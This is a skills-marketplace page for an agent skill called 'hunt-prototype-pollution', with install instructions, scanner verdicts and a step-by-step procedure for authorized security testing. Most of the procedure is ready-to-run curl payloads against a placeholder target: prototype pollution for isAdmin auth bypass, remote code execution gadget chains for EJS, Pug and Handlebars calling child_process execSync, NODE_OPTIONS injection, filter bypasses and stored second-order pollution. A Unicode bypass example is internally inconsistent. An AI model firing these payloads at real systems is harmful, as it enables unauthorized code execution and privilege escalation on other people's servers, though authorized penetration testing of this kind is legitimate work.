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uphiago/recon-skills51 installs

hunt-prototype-pollution

Hunt client-side and server-side prototype pollution for XSS, auth bypass, and RCE.

How do I install this agent skill?

npx skills add https://github.com/uphiago/recon-skills --skill hunt-prototype-pollution
view source ↗

Is this agent skill safe to install?

  • Gen Agent Trust Hubpass

    This skill is a security testing utility for identifying prototype pollution vulnerabilities. It provides curl command templates and exploitation payloads for redteaming and security research. No malicious code, data exfiltration, or obfuscation was detected.

  • Socketwarn

    1 alert: gptAnomaly

  • Snykwarn

    Risk: MEDIUM · 1 issue

What does this agent skill do?

Prototype Pollution Hunting

Hunt for prototype pollution vulnerabilities where user-supplied properties merge into Object.prototype, affecting all objects in the runtime. Client-side pollution enables DOM XSS, cookie manipulation, and auth bypass. Server-side pollution chains to RCE via gadget chains in template engines (EJS, Pug, Handlebars) and CLI wrappers (child_process, NODE_OPTIONS).

When to Use

  • Application uses JavaScript/Node.js with object merge, clone, or extend operations on user input.
  • jQuery $.extend(true, ...) or $.fn.merge() with deep copy on untrusted data.
  • Lodash _.merge(), _.defaultsDeep(), _.set() receiving request body/query params.
  • Template engines (EJS, Pug, Handlebars) in the same runtime as user-controlled objects.
  • Server-side Node.js with child_process.exec/spawn accessible via polluted options.

Prerequisites

  • Explicit authorization, target boundaries, and rate limits for the target.
  • Tooling: curl.
  • A writable evidence directory: export OUTPUT_DIR="${OUTPUT_DIR:-./output}" && mkdir -p "$OUTPUT_DIR".
  • For any state-changing step (writes, uploads, credential attempts), obtain explicit confirmation immediately before the command.

How to Run

# client-side: pollute via query param
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page?__proto__[polluted]=true"

# server-side: pollute via JSON body
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/config" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"isAdmin":true}}'

Quick Detection

# client-side: pollute via query param
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page?__proto__[polluted]=true"

# server-side: pollute via JSON body
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/config" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"isAdmin":true}}'

Procedure

Phase 1 — Client-Side Pollution Vectors

# URL query string
https://target.com/?__proto__[test]=polluted
https://target.com/?constructor[prototype][test]=polluted

# JSON body in API
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"polluted":"yes"}}'

# Form-encoded
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/form" \
  -d '__proto__[polluted]=true'

# Via Object.assign / spread in request handlers
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/settings" \
  -H "Content-Type: application/json" \
  -d '{"constructor":{"prototype":{"isAdmin":true}}}'

Phase 2 — Server-Side RCE via Gadget Chains

EJS RCE (outputFunctionName):

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/render" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"outputFunctionName":"_tmp;global.process.mainModule.require(\"child_process\").execSync(\"id\");"}}'

Pug RCE (self.block):

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/preferences" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"block":{"type":"Text","line":"process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'

Handlebars RCE (compileFunction):

curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com/api/profile" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"precompileOptions":{"knownHelpersOnly":false,"compat":true},"compileFunction":"return process.mainModule.require(\"child_process\").execSync(\"id\").toString();"}}'

NODE_OPTIONS injection:

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/task" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"NODE_OPTIONS":"--require /proc/self/environ","shell":"/bin/sh","env":{"NODE_DEBUG":"test"}}}'

Phase 3 — Filter Bypass Techniques

# Unicode normalization (e.g., ä → a)
https://target.com/?__proto__[test]=1         # blocked
https://target.com/?__pröto__[test]=1         # bypass (ä normalizes to a)

# constructor.prototype path
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
  -d '{"constructor":{"prototype":{"polluted":true}}}'

# Array pollution (lodash specific)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
  -d '{"__proto__":{"polluted":[]}}'  # forces array coercion

# ppfuzz — automated prototype pollution scanner
ppfuzz -u https://target.com/api/merge -m POST -H "Content-Type: application/json"

Phase 4 — Client-Side Exploitation

// Verify pollution in browser console
Object.prototype.polluted  // should return the injected value

// DOM XSS via polluted options
// If the app uses jQuery $.extend with polluted {url: "javascript:alert(1)"}

// Auth bypass: pollute isAdmin
// If the app checks if (user.isAdmin) without hasOwnProperty

Phase 5 — Second-Order Pollution

# Store pollution in database, triggered by background job
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/profile" \
  -H "Content-Type: application/json" \
  -d '{"name":{"__proto__":{"isAdmin":true}}}'

# Later, when an admin views the profile or a cron job processes it,
# the pollution triggers in that context

Pitfalls

  • Not every __proto__ in a request is a finding. Only report when the polluted property actually affects application behavior.
  • Node.js 12+ and newer lodash versions have partial mitigations. Test with older versions first.
  • Server-side pollution requires a gadget. Polluting random objects without reaching a sink (exec, eval, template) has no impact.
  • BlackFan's client-side prototype pollution catalog is the canonical reference — cross-check findings against it.

Verification

  1. Inject __proto__[test]=value and verify Object.prototype.test === value in browser console or server response.
  2. For RCE: confirm command execution produces output (id/whoami) in a visible sink.
  3. For XSS: verify the polluted property reaches innerHTML, eval, document.write, or a script src attribute.
  4. Document the exact merge/copy function and the polluted property chain.

Related Skills

  • hunt-frameworks — Node.js-specific vulnerabilities including prototype pollution in Express/Next.js.
  • hunt-xss — DOM XSS often exploitable through client-side prototype pollution.
  • hunt-api-misconfig — Object merge on request bodies without hasOwnProperty checks.

Add the canonical catalog link to the repository README so users can inspect current installs and available audits. The publishing guide covers the complete discovery path.

<a href="https://skillzs.dev/skills/uphiago/recon-skills/hunt-prototype-pollution">View hunt-prototype-pollution on skillZs</a>